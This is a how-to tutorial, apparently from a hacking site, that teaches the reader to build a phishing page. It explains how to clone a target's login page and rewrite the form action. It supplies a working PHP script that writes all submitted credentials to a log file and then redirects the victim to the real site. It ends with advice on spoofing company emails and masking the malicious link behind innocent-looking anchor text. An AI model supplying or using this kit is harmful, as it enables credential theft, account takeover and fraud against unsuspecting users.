Phishing Pages
So what exactly is phishing? Well, phishing is getting someone to click on a link to a fake login page that you have made and fooling them into entering their login details. The steps below are a basic overview on how to do this.
1. Decide who / where you would like to get into
Pick a target and get to know the process of the login or form. Where are users taken if incorrect details are entered and can the error page be linked to directly (permalink)? Next it is time to make a copy of the page.
2. Save the source locally as a HTML file (e.g. login.html)
You will need most if not all of the files loaded into the page, including images and stylesheets (CSS files.) Normally using the Save shortcut (Ctrl + S) will bring up a popup allowing you to save the content locally. Make sure "Webpage, Complete" is selected and select a folder to save to.
If this option is not available then right click and select "View Source" and copy the contents into a text editor and save any images or stylsheets manually to the correct relative paths, or look for web scraper software. If done correctly the page should look exacly the same as the live version with no broken images.
Next you will need to change the form action. This will normally look similar to the following:
Change "/login" to be the name of the file used to save data as mentioned in the next section (e.g. "save.php").
3. Make a server side script to save data entered into the form
In the example below PHP is used. Copy the following code into a text editor and save the file as "save.php".
<?php
$logFile = "data.txt";
$handle = fopen($logFile, "a");
foreach ($_POST as $name => $value) {
fwrite($handle, $name ."=". $value ."\n");
}
fwrite($handle, "\n-----\n");
fclose($handle);
header("Location: http://innocentlink.com/");
exit;
?>
If the form error page can be linked to directly change the "innocentlink" to go to this page, otherwise change the log to be the external location of the form. The code above simply saves all POST data to a log file but a database could be used instead.
4. Find a webhost that supports PHP
There are many free PHP web hosts available but you will of course need to find one that doesn't display on page ads. Finally upload all of the files to the host and visit the page in a browser. If done correctly the page should look identical to the real thing. Next enter any data into the form and view the contents of the log file. If done correctly this data should now be saved.
Now all you need to do is convice users to visit your link and enter their data. You can achieve this by spoofing an e-mail from a company or sending the link disguised under anchor text (<a href="http://maliciouslink.com">http://innocentlink.com</a>) for example. How you do this is up to you.